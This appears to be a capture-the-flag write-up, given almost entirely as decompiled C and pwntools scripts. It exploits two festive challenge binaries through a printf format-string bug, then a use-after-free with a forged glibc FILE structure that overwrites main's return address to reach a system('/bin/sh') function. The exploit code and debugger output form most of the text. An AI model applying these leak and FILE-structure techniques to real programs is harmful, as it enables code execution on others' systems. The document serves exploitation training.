1
undefined8 main(void)
2

3
{
4
  long in_FS_OFFSET;
5
  char local_d8 [200];
6
  long local_10;
7

8
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
9
  banner();
10
  randomizer();
11
  local_d8[0] = '\0';
12
  local_d8[1] = '\0';
13
  local_d8[2] = '\0';
14
  local_d8[3] = '\0';
15
  local_d8[4] = '\0';
16
  .
17
  .
18
  <SNIP>
19
  .
20
  .
21
  info("Look at the mess the ELVES made:\n\n--------------------\nAddress 1: 0x%x\nAddress 2: 0x%x\n Address 3: 0x%x\nAddress 4: 0x%x\nAddress 5: 0x%x\n--------------------\n"
22
       ,arg1,arg2,arg3,arg4,arg5);
23
  info("Please fix the addresses to help me deliver the gifts :)\n\n> ");
24
  read(0,local_d8,197);
25
  info("I hope the addresses you gave me are correct..\n\n");
26
  printf(local_d8);
27
  fflush(stdout);
28
  info("Checking the database...\n");
29
  check_db();
30
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
31
                    /* WARNING: Subroutine does not return */
32
    __stack_chk_fail();
33
  }
34
  return 0;
35
}

1
void randomizer(void)
2

3
{
4
  long lVar1;
5
  int iVar2;
6
  time_t tVar3;
7
  long in_FS_OFFSET;
8

9
  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
10
  tVar3 = time((time_t *)0x0);
11
  srand((uint)tVar3);
12
  iVar2 = rand();
13
  arg1 = iVar2 % 0x10000000 + 1;
14
  iVar2 = rand();
15
  arg2 = iVar2 % 0x10000000 + 1;
16
  iVar2 = rand();
17
  arg3 = iVar2 % 0x10000000 + 1;
18
  iVar2 = rand();
19
  arg4 = iVar2 % 0x10000000 + 1;
20
  iVar2 = rand();
21
  arg5 = iVar2 % 0x10000000 + 1;
22
  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
23
                    /* WARNING: Subroutine does not return */
24
    __stack_chk_fail();
25
  }
26
  return;
27
}

1
void check_db(void)
2

3
{
4
  int __fd;
5
  long in_FS_OFFSET;
6
  char local_48 [56];
7
  long local_10;
8

9
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
10
  local_48[0] = '\0';
11
  local_48[1] = '\0';
12
  local_48[2] = '\0';
13
  local_48[3] = '\0';
14
  .
15
  .
16
  <SNIP>
17
  .
18
  .
19
  __fd = open("./flag.txt",0);
20
  if (__fd == -1) {
21
    fail(
22
        "If you run this locally, create \'flag.txt\'.\nIf you run this remotely, contact w3th4nds."
23
        );
24
  }
25
  read(__fd,local_48,0x2f);
26
  if ((((arg1 == L'\xdeadbeef') && (arg2 == 0x1337c0de)) && (arg3 == L'\xf337babe')) &&
27
     ((arg4 == 0x1337f337 && (arg5 == L'\xfadeeeed')))) {
28
    success("Thanks a lot my friend <3. Take this gift from me: \n");
29
    puts(local_48);
30
    close(__fd);
31
  }
32
  else {
33
    fail("All people do is LIE!\n");
34
    close(__fd);
35
  }
36
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
37
                    /* WARNING: Subroutine does not return */
38
    __stack_chk_fail();
39
  }
40
  return;
41
}

1
arg1 = 0xDEADBEEF
2
arg2 = 0x1337c0de
3
arg3 = 0xF337BABE
4
arg4 = 0x1337f337
5
arg5 = 0xFADEEEED

1
int main(void)
2

3
{
4
  char cVar1;
5
  char *pcVar2;
6
  size_t sVar3;
7
  char option;
8

9
  setup();
10
  banner();
11
  printf("Tinselwick Tinkerer Name: ");
12
  pcVar2 = fgets(console_state.tinkerer_name,0x10,stdin);
13
  if (pcVar2 == (char *)0x0) {
14
    puts("[!] Input error.");
15
    return 1;
16
  }
17
  sVar3 = strcspn(console_state.tinkerer_name,"\n");
18
  console_state.tinkerer_name[sVar3] = '\0';
19
  printf("=== Welcome ");
20
  printf(console_state.tinkerer_name);
21
  puts(&DAT_00102317);
22
  do {
23
    cVar1 = menu();
24
    switch(cVar1) {
25
    case '1':
26
      arm_routine();
27
      break;
28
    case '2':
29
      feed_fragment();
30
      break;
31
    case '3':
32
      cancel_routine();
33
      break;
34
    case '4':
35
      commit_routine();
36
      break;
37
    case '5':
38
      puts("[*] Exiting Starshard Console.");
39
      return 0;
40
    default:
41
      puts("[!] Invalid option.");
42
    }
43
  } while( true );
44
}

struct ConsoleState {
    char tinkerer_name[16];
    char spell_name[24];
    FILE *core_log;
    char *spell_fragment;
    size_t fragment_sz;
};

struct ConsoleState console_state;

1
printf(console_state.tinkerer_name);

1
void arm_routine(void)
2

3
{
4
  int iVar1;
5
  int ch;
6
  size_t i;
7

8
  console_state.core_log = (FILE *)fopen("starshard_core.txt","a");
9
  if ((FILE *)console_state.core_log == (FILE *)0x0) {
10
    perror("fopen");
11
                    /* WARNING: Subroutine does not return */
12
    exit(1);
13
  }
14
  setvbuf((FILE *)console_state.core_log,(char *)0x0,2,0);
15
  printf("Enter Starshard Routine Name: ");
16
  i = 0;
17
  while (i < 24) {
18
    iVar1 = fgetc(stdin);
19
    if ((iVar1 == -1) || (iVar1 == 10)) break;
20
    console_state.spell_name[i] = (char)iVar1;
21
    i = i + 1;
22
  }
23
  printf(&DAT_001020ef,0x104070);
24
  return;
25
}

1
void feed_fragment(void)
2

3
{
4
  long lVar1;
5
  char *pcVar2;
6
  long in_FS_OFFSET;
7
  char size_str [16];
8

9
  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
10
  if (console_state.core_log == (FILE *)0x0) {
11
    puts("[!] No active Starshard routine.");
12
  }
13
  else {
14
    console_state.spell_fragment = (char *)0x0;
15
    console_state.fragment_sz = 0;
16
    printf("Wish-Script Fragment Size: ");
17
    size_str[0] = '\0';
18
    size_str[1] = '\0';
19
    size_str[2] = '\0';
20
    size_str[3] = '\0';
21
    size_str[4] = '\0';
22
    size_str[5] = '\0';
23
    size_str[6] = '\0';
24
    size_str[7] = '\0';
25
    size_str[8] = '\0';
26
    size_str[9] = '\0';
27
    size_str[10] = '\0';
28
    size_str[0xb] = '\0';
29
    size_str[0xc] = '\0';
30
    size_str[0xd] = '\0';
31
    size_str[0xe] = '\0';
32
    size_str[0xf] = '\0';
33
    pcVar2 = fgets(size_str,0x10,stdin);
34
    if (pcVar2 == (char *)0x0) {
35
      puts("[!] Invalid input.");
36
    }
37
    else {
38
      console_state.fragment_sz = strtoull(size_str,(char **)0x0,10);
39
      if (console_state.fragment_sz < 501) {
40
        console_state.spell_fragment = (char *)malloc(console_state.fragment_sz);
41
        if (console_state.spell_fragment == (char *)0x0) {
42
          perror("malloc");
43
                    /* WARNING: Subroutine does not return */
44
          exit(1);
45
        }
46
        puts("Input Wish-Script Fragment:");
47
        pcVar2 = fgets(console_state.spell_fragment,(int)console_state.fragment_sz + -1,stdin);
48
        if (pcVar2 == (char *)0x0) {
49
          puts("[!] Fragment input error.");
50
        }
51
        else {
52
          puts("[*] Fragment Stored.");
53
        }
54
      }
55
      else {
56
        puts("[!] Fragment exceeds safe sparkle limit.");
57
      }
58
    }
59
  }
60
  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
61
                    /* WARNING: Subroutine does not return */
62
    __stack_chk_fail();
63
  }
64
  return;
65
}

1
void cancel_routine(void)
2

3
{
4
  if (console_state.core_log == (FILE *)0x0) {
5
    puts("[!] No active routine.");
6
  }
7
  else {
8
    fclose((FILE *)console_state.core_log);
9
    puts("[*] Routine Cancelled.");
10
  }
11
  return;
12
}

1
void commit_routine(void)
2

3
{
4
  if (console_state.core_log == (FILE *)0x0) {
5
    puts("[!] No active routine.");
6
  }
7
  else {
8
    fputs(console_state.spell_fragment,(FILE *)console_state.core_log);
9
    puts("[*] Routine Committed to Starshard Core.");
10
  }
11
  return;
12
}

1
void ginger_gate(void)
2

3
{
4
  setenv("XMAS","The Gingerbit Gremlin listens.",1);
5
  system("/bin/sh");
6
  return;
7
}

1
from pwn import *
2

3
elf = context.binary = ELF('./starshard_core',False)
4
libc = ELF('./glibc/libc.so.6',False)
5

6
context.log_level = 'error'
7
def leak(i):
8
    p = elf.process()
9
    pl = f'%{i}$p|'
10
    p.sendlineafter(b'Name: ',pl.encode())
11
    p.recvuntil(b'Welcome ')
12
    return p.recvuntil(b'|',drop=True)
13

14
for i in range(1,30):
15
    print(f'{i}: {leak(i)}')

1: b'0x7ffc2e816520'
2: b'0xffffffff'
3: b'(nil)'
4: b'0xc'
5: b'(nil)'
6: b'0x10'
7: b'0x1'
8: b'0x1'
9: b'0x7fb7a2e2dfd0'
10: b'0x561fdac1d040'
11: b'0x55b8b5a7575e'
12: b'0x100000000'
13: b'0x7ffef76b5b58'
14: b'(nil)'
15: b'0x6b8eabcf7c0436f7'
16: b'0x7ffee5bb0988'
17: b'0x5587d4e8a75e'
18: b'(nil)'
19: b'0x7f8ae0cdac40'
20: b'0xf4e0e267402cc2aa'
21: b'0xf1c012bddb97d1dc'
22: b'0x7fc300000000'
23: b'(nil)'
24: b'(nil)'
25: b'(nil)'
26: b'(nil)'
27: b'0xf92dfc6e324b0a00'
28: b'(nil)'
29: b'0x7fe7a602e07d'

1
from pwn import *
2

3
elf = context.binary = ELF('./starshard_core',False)
4
libc = ELF('./glibc/libc.so.6',False)
5
p = elf.process()
6

7
pl = b'%11$p%16$p%9$p'
8
p.sendline(pl)
9

10
gdb.attach(p, gdbscript='b main,c')
11
p.interactive()

Tinselwick Tinkerer Name: === Welcome 0x55d1bd19775e0x7ffc709a0b180x7fb84e42dfd0 — Starshard Console ===

gef➤  p/x 0x7ffc709a0b18 - 0x00007ffc709a09f8
$1 = 0x120

1
from pwn import *
2

3
elf = context.binary = ELF('./starshard_core',False)
4
libc = ELF('./glibc/libc.so.6',False)
5
p = elf.process()
6

7
pl = b'%11$p%16$p%9$p'
8
p.sendline(pl)
9
p.recvuntil(b'Welcome ')
10
s = p.recvline()
11
pie_addr, stack_addr, libc_addr = s[:14], s[14:28], s[28:42]
12

13
libc.address = int(libc_addr,16) - (libc.symbols['__libc_start_call_main'] + 128)
14
elf.address = int(pie_addr,16) - elf.sym.main
15
main_ret_addr = int(stack_addr,16) - 0x120
16

17
log.success(f'base addr: {hex(elf.address)}')
18
log.success(f'libc base addr: {hex(libc.address)}')
19
log.success(f'main ret addr: {hex(main_ret_addr)}')

1
struct _IO_FILE_plus {
2
    _IO_FILE file;                      // The standard _IO_FILE struct with buffers
3
    const struct _IO_jump_t *vtable; // Pointer to the virtual function table
4
};

1
struct _IO_FILE
2
{
3
  int _flags;    /* High-order word is _IO_MAGIC; rest is flags. */
4

5
  /* The following pointers correspond to the C++ streambuf protocol. */
6
  char *_IO_read_ptr;  /* Current read pointer */
7
  char *_IO_read_end;  /* End of get area. */
8
  char *_IO_read_base;  /* Start of putback+get area. */
9
  char *_IO_write_base;  /* Start of put area. */
10
  char *_IO_write_ptr;  /* Current put pointer. */
11
  char *_IO_write_end;  /* End of put area. */
12
  char *_IO_buf_base;  /* Start of reserve area. */
13
  char *_IO_buf_end;  /* End of reserve area. */
14

15
  /* The following fields are used to support backing up and undo. */
16
  char *_IO_save_base; /* Pointer to start of non-current get area. */
17
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
18
  char *_IO_save_end; /* Pointer to end of non-current get area. */
19

20
  struct _IO_marker *_markers;
21

22
  struct _IO_FILE *_chain;
23

24
  int _fileno;
25
  int _flags2;
26
  __off_t _old_offset; /* This used to be _offset but it's too small.  */
27

28
  /* 1+column number of pbase(); 0 is unknown. */
29
  unsigned short _cur_column;
30
  signed char _vtable_offset;
31
  char _shortbuf[1];
32

33
  _IO_lock_t *_lock;
34
#ifdef _IO_USE_OLD_IO_FILE
35
};

gef➤  p console_state
$1 = {
  tinkerer_name = "%11$p%16$p%9$p\000",
  spell_name = "AA", '\000' <repeats 21 times>,
  core_log = 0x564a005c02a0,
  spell_fragment = 0x0,
  fragment_sz = 0x0
}

gef➤  x/20gx 0x564a005c02a0 - 0x10
0x564a005c0290:  0x0000000000000000  0x00000000000001e1   <----- chunk header (Size + Flags)
0x564a005c02a0:  0x00000000fbad3487  0x0000564a005c0323   <----- data
0x564a005c02b0:  0x0000564a005c0323  0x0000564a005c0323
0x564a005c02c0:  0x0000564a005c0323  0x0000564a005c0323
0x564a005c02d0:  0x0000564a005c0323  0x0000564a005c0323
0x564a005c02e0:  0x0000564a005c0324  0x0000000000000000
0x564a005c02f0:  0x0000000000000000  0x0000000000000000
0x564a005c0300:  0x0000000000000000  0x00007f193e619680
0x564a005c0310:  0x0000000000000003  0x0000000000000000
0x564a005c0320:  0x0000000000000000  0x0000564a005c0380

1
# Allocate the FILE structure
2
# This stores a valid pointer in console_state.core_log
3
p.sendline(b'1')
4
p.sendlineafter(b'Name: ',b'AA')
5

6
# Trigger the Use-After-Free
7
# We free the FILE struct, but core_log is NOT nulled out
8
p.sendlineafter(b'>',b'3')
9

10
# Reclaim the freed memory
11
# By requesting 465 bytes, malloc returns the address of the just freed FILE struct
12
# We now control the data pointed to by core_log
13
p.sendlineafter(b'Size: ',b'465')
14
p.sendline(b"BBB")

gef➤  p console_state
$1 = {
  tinkerer_name = "%11$p%16$p%9$p\000",
  spell_name = "AA", '\000' <repeats 21 times>,
  core_log = 0x5564e61a32a0,
  spell_fragment = 0x5564e61a32a0 "BBB\n", # Same pointer as core_log
  fragment_sz = 0x1d1
}

1
# Create a template FILE structure
2
fp = FileStructure()
3

4
# Point the write cursor to the Stack
5
# fputs writes to the address at _IO_write_ptr
6
fp._IO_write_ptr = main_ret_addr
7

8
# Fake the buffer end
9
# We define the buffer ending 0x20 bytes AFTER the return address
10
# The distance (end - ptr) is the available space
11
fp._IO_write_end = main_ret_addr + 0x20
12

13
# Setup Write Base
14
# Standard practice to keep base aligned with ptr/end for consistency
15
fp._IO_write_base = main_ret_addr - 0x20
16

17
# Partial overwrite
18
pl = bytes(fp)[:128]
19
p.sendlineafter(b'Fragment:',pl)

1
# We update the spell_fragment buffer, this is the source data fputs will read from
2
p.sendlineafter(b'>',b'2')
3
p.sendlineafter(b'Size: ',b'16')
4

5
# We calculate the address of the win function
6
# +38 skip setenv and land directly to calling system('/bin/sh') to fix stack alignment
7
win = elf.sym.ginger_gate + 38
8
p.sendlineafter(b'Fragment:',p64(win))
9

10
# Option 4 calls fputs(spell_fragment, core_log).
11
# core_log (Fake FILE) says: "Write to the Stack Return Address"
12
# fputs copies the win address from spell_fragment directly onto the Stack.
13
p.sendline(b'4')
14

15
# We return from main and pop our shell
16
p.sendline(b'5')